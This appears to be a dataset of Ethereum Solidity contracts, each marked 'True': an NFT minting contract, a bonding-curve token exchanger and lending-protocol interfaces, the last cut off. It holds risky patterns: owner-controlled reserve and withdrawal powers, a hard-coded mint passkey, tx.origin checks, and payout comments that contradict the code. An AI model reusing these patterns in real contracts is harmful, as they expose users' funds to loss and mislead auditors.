tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require( owner != address(0), "ERC721A: balance query for the zero address" ); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return // bytes(baseURI).length > 0 // ? string(abi.encodePacked(baseURI, tokenId.toString())) // : ""; bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI)) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require( _exists(tokenId), "ERC721A: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721A: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Shinsekai is Ownable, ERC721A, ReentrancyGuard { uint256 public immutable maxPublicBatchSize; struct SaleConfig { uint32 publicSaleStartTime; uint64 whitelistPrice; uint64 publicPrice; } SaleConfig public saleConfig; address private fundWallet = payable(0x91246F3C3b163DaDbF9dDd1b4B4dE28cb2BEB737); // Owner Fund Wallet Address address private devOneWallet = payable(0x5362d66CF2B2259ad631Fd6D965dEf352AbC98D8); // Developer One Wallet Address bool public SALE_OPEN = false; uint256 private _mintPasskey = 7; mapping(address => uint256) public whitelist; constructor(uint256 maxBatchSize_, uint256 collectionSize_) ERC721A("ShinsekaiNFT", "SHIN", maxBatchSize_, collectionSize_) { maxPublicBatchSize = maxBatchSize_; } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } modifier saleIsOpen() { if (_msgSender() != owner()) { require(SALE_OPEN == true, "Sale stopped"); } _; } function whitelistMint() external payable callerIsUser saleIsOpen { uint256 price = uint256(saleConfig.whitelistPrice); require(price != 0, "WHITELIST_SALE: whitelist sale has not begun yet"); require( whitelist[msg.sender] > 0, "WHITELIST_SALE: not eligible for whitelist mint" ); require( totalSupply() + 1 <= collectionSize, "WHITELIST_SALE: reached max supply" ); whitelist[msg.sender]--; _safeMint(msg.sender, 1); refundIfOver(price); } function publicSaleMint(uint256 quantity, uint256 callerMintKey) external payable callerIsUser saleIsOpen { SaleConfig memory config = saleConfig; uint256 mintKey = _mintPasskey; uint256 publicPrice = uint256(config.publicPrice); uint256 publicSaleStartTime = uint256(config.publicSaleStartTime); require( mintKey == callerMintKey, "PUBLIC_SALE: called with incorrect public sale key" ); require( isPublicSaleOn(publicPrice, mintKey, publicSaleStartTime), "PUBLIC_SALE: public sale has not begun yet" ); require( totalSupply() + quantity <= collectionSize, "PUBLIC_SALE: reached max supply" ); require( numberMinted(msg.sender) + quantity <= maxPublicBatchSize, "PUBLIC_SALE: can not mint this many" ); _safeMint(msg.sender, quantity); refundIfOver(publicPrice * quantity); } function refundIfOver(uint256 price) private { require(msg.value >= price, "Need to send more ETH."); if (msg.value > price) { payable(msg.sender).transfer(msg.value - price); } } function isPublicSaleOn( uint256 publicPriceWei, uint256 mintKey, uint256 publicSaleStartTime ) public view returns (bool) { return publicPriceWei != 0 && mintKey != 0 && block.timestamp >= publicSaleStartTime; } function setupSaleInfo( uint64 whitelistPriceWei, uint64 publicPriceWei, uint32 publicSaleStartTime ) external onlyOwner { saleConfig = SaleConfig( publicSaleStartTime, whitelistPriceWei, publicPriceWei ); } function setWhitelist(address[] memory addresses, uint256[] memory numSlots) external onlyOwner { require( addresses.length == numSlots.length, "addresses does not match numSlots length" ); for (uint256 i = 0; i < addresses.length; i++) { whitelist[addresses[i]] = numSlots[i]; } } function flipSaleState() public onlyOwner { SALE_OPEN = !SALE_OPEN; } // metadata URI string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function withdrawAll() external onlyOwner nonReentrant { uint256 totalBalance = address(this).balance; require(totalBalance > 0, "WITHDRAW: No balance in contract"); uint256 devOneBalance = totalBalance / 30; // 7% of total sale uint256 ownerBalance = totalBalance - devOneBalance; // 90% of total sale _withdraw(devOneWallet, devOneBalance); _withdraw(fundWallet, ownerBalance); } function _withdraw(address _address, uint256 _amount) internal { (bool success, ) = _address.call{value: _amount}(""); require(success, "WITHDRAW: Transfer failed."); } function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant { _setOwnersExplicit(quantity); } function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } function setMintPassKey(uint256 mintPasskey_) external onlyOwner { _mintPasskey = mintPasskey_; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-06-01 */ pragma solidity ^0.4.24; interface IExchangeFormula { function calculatePurchaseReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _depositAmount) external view returns (uint256); function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) external view returns (uint256); } interface ITradeableAsset { function totalSupply() external view returns (uint256); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); function decimals() external view returns (uint256); function transfer(address _to, uint256 _value) external; function balanceOf(address _address) external view returns (uint256); } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract Administered { address public creator; mapping (address => bool) public admins; constructor() public { creator = msg.sender; admins[creator] = true; } modifier onlyOwner { require(creator == msg.sender); _; } modifier onlyAdmin { require(admins[msg.sender] || creator == msg.sender); _; } function grantAdmin(address newAdmin) onlyOwner public { _grantAdmin(newAdmin); } function _grantAdmin(address newAdmin) internal { admins[newAdmin] = true; } function changeOwner(address newOwner) onlyOwner public { creator = newOwner; } function revokeAdminStatus(address user) onlyOwner public { admins[user] = false; } } contract ExchangerV4 is Administered, tokenRecipient { bool public enabled = false; ITradeableAsset public tokenContract; IExchangeFormula public formulaContract; uint32 public weight; uint32 public fee=5000; //0.5% uint256 public uncirculatedSupplyCount=0; uint256 public collectedFees=0; uint256 public virtualReserveBalance=0; uint public thresholdSendToSafeWallet = 100000000000000000; uint public sendToSafeWalletPercentage = 10; constructor(address _token, uint32 _weight, address _formulaContract) { require (_weight > 0 && weight <= 1000000); weight = _weight; tokenContract = ITradeableAsset(_token); formulaContract = IExchangeFormula(_formulaContract); } event Buy(address indexed purchaser, uint256 amountInWei, uint256 amountInToken); event Sell(address indexed seller, uint256 amountInToken, uint256 amountInWei); function depositTokens(uint amount) onlyOwner public { tokenContract.transferFrom(msg.sender, this, amount); } function depositEther() onlyOwner public payable { //return getQuotePrice(); } function withdrawTokens(uint amount) onlyOwner public { tokenContract.transfer(msg.sender, amount); } function withdrawEther(uint amountInWei) onlyOwner public { msg.sender.transfer(amountInWei); //Transfers in wei } function extractFees(uint amountInWei) onlyAdmin public { require (amountInWei <= collectedFees); msg.sender.transfer(amountInWei); } function enable() onlyAdmin public { enabled = true; } function disable() onlyAdmin public { enabled = false; } function setReserveWeight(uint ppm) onlyAdmin public { require (ppm>0 && ppm<=1000000); weight = uint32(ppm); } function setFee(uint ppm) onlyAdmin public { require (ppm >= 0 && ppm <= 1000000); fee = uint32(ppm); } function setUncirculatedSupplyCount(uint newValue) onlyAdmin public { require (newValue > 0); uncirculatedSupplyCount = uint256(newValue); } function setVirtualReserveBalance(uint256 amountInWei) onlyAdmin public { virtualReserveBalance = amountInWei; } function getReserveBalances() public view returns (uint256, uint256) { return (tokenContract.balanceOf(this), address(this).balance+virtualReserveBalance); } function getPurchasePrice(uint256 amountInWei) public view returns(uint) { uint256 purchaseReturn = formulaContract.calculatePurchaseReturn( (tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this), address(this).balance + virtualReserveBalance, weight, amountInWei ); purchaseReturn = (purchaseReturn - ((purchaseReturn * fee) / 1000000)); if (purchaseReturn > tokenContract.balanceOf(this)){ return tokenContract.balanceOf(this); } return purchaseReturn; } function getSalePrice(uint256 tokensToSell) public view returns(uint) { uint256 saleReturn = formulaContract.calculateSaleReturn( (tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this), address(this).balance + virtualReserveBalance, weight, tokensToSell ); saleReturn = (saleReturn - ((saleReturn * fee) / 1000000)); if (saleReturn > address(this).balance) { return address(this).balance; } return saleReturn; } function buy(uint minPurchaseReturn) public payable { uint amount = formulaContract.calculatePurchaseReturn( (tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this), (address(this).balance + virtualReserveBalance) - msg.value, weight, msg.value); amount = (amount - ((amount * fee) / 1000000)); require (enabled); require (amount >= minPurchaseReturn); require (tokenContract.balanceOf(this) >= amount); if(msg.value > thresholdSendToSafeWallet){ uint transferToSafeWallet = msg.value * sendToSafeWalletPercentage / 100; creator.transfer(transferToSafeWallet); virtualReserveBalance += transferToSafeWallet; } collectedFees += (msg.value * fee) / 1000000; emit Buy(msg.sender, msg.value, amount); tokenContract.transfer(msg.sender, amount); } function sell(uint quantity, uint minSaleReturn) public { uint amountInWei = formulaContract.calculateSaleReturn( (tokenContract.totalSupply()- uncirculatedSupplyCount) - tokenContract.balanceOf(this), address(this).balance + virtualReserveBalance, weight, quantity ); amountInWei = (amountInWei - ((amountInWei * fee) / 1000000)); require (enabled); require (amountInWei >= minSaleReturn); require (amountInWei <= address(this).balance); require (tokenContract.transferFrom(msg.sender, this, quantity)); collectedFees += (amountInWei * fee) / 1000000; emit Sell(msg.sender, quantity, amountInWei); msg.sender.transfer(amountInWei); } function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external { sellOneStep(_value, 0, _from); } function sellOneStep(uint quantity, uint minSaleReturn, address seller) public { uint amountInWei = formulaContract.calculateSaleReturn( (tokenContract.totalSupply() - uncirculatedSupplyCount) - tokenContract.balanceOf(this), address(this).balance + virtualReserveBalance, weight, quantity ); amountInWei = (amountInWei - ((amountInWei * fee) / 1000000)); require (enabled); require (amountInWei >= minSaleReturn); require (amountInWei <= address(this).balance); require (tokenContract.transferFrom(seller, this, quantity)); collectedFees += (amountInWei * fee) / 1000000; emit Sell(seller, quantity, amountInWei); seller.transfer(amountInWei); } function setSendToSafeWalletPercentage(uint newValue) onlyOwner public { require (newValue > 0); sendToSafeWalletPercentage = uint(newValue); } function setThresholdSendToSafeWallet(uint256 amountInWei) onlyOwner public { thresholdSendToSafeWallet = amountInWei; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-05-14 */ // SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/library/PoolLib.sol pragma solidity =0.6.11 >=0.6.0 <0.8.0 >=0.6.2 <0.8.0; ////// contracts/interfaces/IBPool.sol /* pragma solidity 0.6.11; */ interface IBPool { function transfer(address, uint256) external returns (bool); function INIT_POOL_SUPPLY() external view returns (uint256); function MAX_OUT_RATIO() external view returns (uint256); function bind(address, uint256, uint256) external; function balanceOf(address) external view returns (uint256); function finalize() external; function gulp(address) external; function isFinalized() external view returns (bool); function isBound(address) external view returns (bool); function getNumTokens() external view returns (uint256); function getBalance(address) external view returns (uint256); function getNormalizedWeight(address) external view returns (uint256); function getDenormalizedWeight(address) external view returns (uint256); function getTotalDenormalizedWeight() external view returns (uint256); function getSwapFee() external view returns (uint256); function totalSupply() external view returns (uint256); function getFinalTokens() external view returns (address[] memory); function calcSingleOutGivenPoolIn( uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 poolSupply, uint256 totalWeight, uint256 poolAmountIn, uint256 swapFee ) external pure returns (uint256); function calcPoolInGivenSingleOut( uint256 tokenBalanceOut, uint256 tokenWeightOut, uint256 poolSupply, uint256 totalWeight, uint256 tokenAmountOut, uint256 swapFee ) external pure returns (uint256); function exitswapExternAmountOut( address tokenOut, uint256 tokenAmountOut, uint256 maxPoolAmountIn ) external returns (uint256 poolAmountIn); } ////// contracts/interfaces/IDebtLockerFactory.sol /* pragma solidity 0.6.11; */ interface IDebtLockerFactory { function owner(address) external view returns (address); function isLocker(address) external view returns (bool); function factoryType() external view returns (uint8); function newLocker(address) external returns (address); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// contracts/interfaces/IERC20Details.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ interface IERC20Details is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256); } ////// contracts/interfaces/ILiquidityLocker.sol /* pragma solidity 0.6.11; */ interface ILiquidityLocker { function pool() external view returns (address); function liquidityAsset() external view returns (address); function transfer(address, uint256) external; function fundLoan(address, address, uint256) external; } ////// contracts/token/interfaces/IBaseFDT.sol /* pragma solidity 0.6.11; */ interface IBaseFDT { /** @dev Returns the total amount of funds a given address is able to withdraw currently. @param owner Address of FDT holder. @return A uint256 representing the available funds for a given account. */ function withdrawableFundsOf(address owner) external view returns (uint256); /** @dev Withdraws all available funds for a FDT holder. */ function withdrawFunds() external; /** @dev This event emits when new funds are distributed. @param by The address of the sender that distributed funds. @param fundsDistributed The amount of funds received for distribution. */ event FundsDistributed(address indexed by, uint256 fundsDistributed); /** @dev This event emits when distributed funds are withdrawn by a token holder. @param by The address of the receiver of funds. @param fundsWithdrawn The amount of funds that were withdrawn. @param totalWithdrawn The total amount of funds that were withdrawn. */ event FundsWithdrawn(address indexed by, uint256 fundsWithdrawn, uint256 totalWithdrawn); } ////// contracts/token/interfaces/IBasicFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import "./IBaseFDT.sol"; */ interface IBasicFDT is IBaseFDT, IERC20 { event PointsPerShareUpdated(uint256); event PointsCorrectionUpdated(address indexed, int256); function withdrawnFundsOf(address) external view returns (uint256); function accumulativeFundsOf(address) external view returns (uint256); function updateFundsReceived() external; } ////// contracts/token/interfaces/ILoanFDT.sol /* pragma solidity 0.6.11; */ /* import "./IBasicFDT.sol"; */ interface ILoanFDT is IBasicFDT { function fundsToken() external view returns (address); function fundsTokenBalance() external view returns (uint256); } ////// contracts/interfaces/ILoan.sol /* pragma solidity 0.6.11; */ /* import "../token/interfaces/ILoanFDT.sol"; */ interface ILoan is ILoanFDT { // State Variables function liquidityAsset() external view returns (address); function collateralAsset() external view returns (address); function fundingLocker() external view returns (address); function flFactory() external view returns (address); function collateralLocker() external view returns (address); function clFactory() external view returns (address); function borrower() external view returns (address); function repaymentCalc() external view returns (address); function lateFeeCalc() external view returns (address); function premiumCalc() external view returns (address); function loanState() external view returns (uint256); function collateralRequiredForDrawdown(uint256) external view returns (uint256); // Loan Specifications function apr() external view returns (uint256); function paymentsRemaining() external view returns (uint256); function paymentIntervalSeconds() external view returns (uint256); function requestAmount() external view returns (uint256); function collateralRatio() external view returns (uint256); function fundingPeriod() external view returns (uint256); function defaultGracePeriod() external view returns (uint256); function createdAt() external view returns (uint256); function principalOwed() external view returns (uint256); function principalPaid() external view returns (uint256); function interestPaid() external view returns (uint256); function feePaid() external view returns (uint256); function excessReturned() external view returns (uint256); function getNextPayment() external view returns (uint256, uint256, uint256, uint256); function superFactory() external view returns (address); function termDays() external view returns (uint256); function nextPaymentDue() external view returns (uint256); function getFullPayment() external view returns (uint256, uint256, uint256); // Liquidations function amountLiquidated() external view returns (uint256); function defaultSuffered() external view returns (uint256); function amountRecovered() external view returns (uint256); function getExpectedAmountRecovered() external view returns (uint256); function liquidationExcess() external view returns (uint256); // Functions function fundLoan(address, uint256) external; function makePayment() external; function drawdown(uint256) external; function makeFullPayment() external; function triggerDefault() external; function unwind() external; // Security function pause() external; function unpause() external; function loanAdmins(address) external view returns (address); function setLoanAdmin(address, bool) external; // Misc function reclaimERC20(address) external; } ////// contracts/interfaces/ILoanFactory.sol /* pragma solidity 0.6.11; */ interface ILoanFactory { function CL_FACTORY() external view returns (uint8); function FL_FACTORY() external view returns (uint8); function INTEREST_CALC_TYPE() external view returns (uint8); function LATEFEE_CALC_TYPE() external view returns (uint8); function PREMIUM_CALC_TYPE() external view returns (uint8); function globals() external view returns (address); function loansCreated() external view returns (uint256); function loans(uint256) external view returns (address); function isLoan(address) external view returns (bool); function loanFactoryAdmins(address) external view returns (bool); function setGlobals(address) external; function createLoan(address, address, address, address, uint256[5] memory, address[3] memory) external returns (address); function setLoanFactoryAdmin(address, bool) external; function pause() external; function unpause() external; } ////// contracts/interfaces/IMapleGlobals.sol /* pragma solidity 0.6.11; */ interface IMapleGlobals { function pendingGovernor() external view returns (address); function governor() external view returns (address); function globalAdmin() external view returns (address); function mpl() external view returns (address); function mapleTreasury() external view returns (address); function isValidBalancerPool(address) external view returns (bool); function treasuryFee() external view returns (uint256); function investorFee() external view returns (uint256); function defaultGracePeriod() external view returns (uint256); function fundingPeriod() external view returns (uint256); function swapOutRequired() external view returns (uint256); function isValidLiquidityAsset(address) external view returns (bool); function isValidCollateralAsset(address) external view returns (bool); function isValidPoolDelegate(address) external view returns (bool); function validCalcs(address) external view returns (bool); function isValidCalc(address, uint8) external view returns (bool); function getLpCooldownParams() external view returns (uint256, uint256); function isValidLoanFactory(address) external view returns (bool); function isValidSubFactory(address, address, uint8) external view returns (bool); function isValidPoolFactory(address) external view returns (bool); function getLatestPrice(address) external view returns (uint256); function defaultUniswapPath(address, address) external view returns (address); function minLoanEquity() external view returns (uint256); function maxSwapSlippage() external view returns (uint256); function protocolPaused() external view returns (bool); function stakerCooldownPeriod() external view returns (uint256); function lpCooldownPeriod() external view returns (uint256); function stakerUnstakeWindow() external view returns (uint256); function lpWithdrawWindow() external view returns (uint256); function oracleFor(address) external view returns (address); function validSubFactories(address, address) external view returns (bool); function setStakerCooldownPeriod(uint256) external; function setLpCooldownPeriod(uint256) external; function setStakerUnstakeWindow(uint256) external; function setLpWithdrawWindow(uint256) external; function setMaxSwapSlippage(uint256) external; function setGlobalAdmin(address) external; function setValidBalancerPool(address, bool) external; function setProtocolPause(bool) external; function setValidPoolFactory(address, bool) external; function setValidLoanFactory(address, bool) external; function setValidSubFactory(address, address, bool) external; function setDefaultUniswapPath(address, address, address) external; function setPoolDelegateAllowlist(address, bool) external; function setCollateralAsset(address, bool) external; function setLiquidityAsset(address, bool) external; function setCalc(address, bool) external; function setInvestorFee(uint256) external; function setTreasuryFee(uint256) external; function setMapleTreasury(address) external; function setDefaultGracePeriod(uint256) external; function setMinLoanEquity(uint256) external; function setFundingPeriod(uint256) external; function setSwapOutRequired(uint256) external; function setPriceOracle(address, address) external; function setPendingGovernor(address) external; function acceptGovernor() external; } ////// contracts/token/interfaces/IExtendedFDT.sol /* pragma solidity 0.6.11; */ /* import "./IBasicFDT.sol"; */ interface IExtendedFDT is IBasicFDT { event LossesPerShareUpdated(uint256); event LossesCorrectionUpdated(address indexed, int256); event LossesDistributed(address indexed, uint256); event LossesRecognized(address indexed, uint256, uint256); function lossesPerShare() external view returns (uint256); function recognizableLossesOf(address) external view returns (uint256); function recognizedLossesOf(address) external view returns (uint256); function 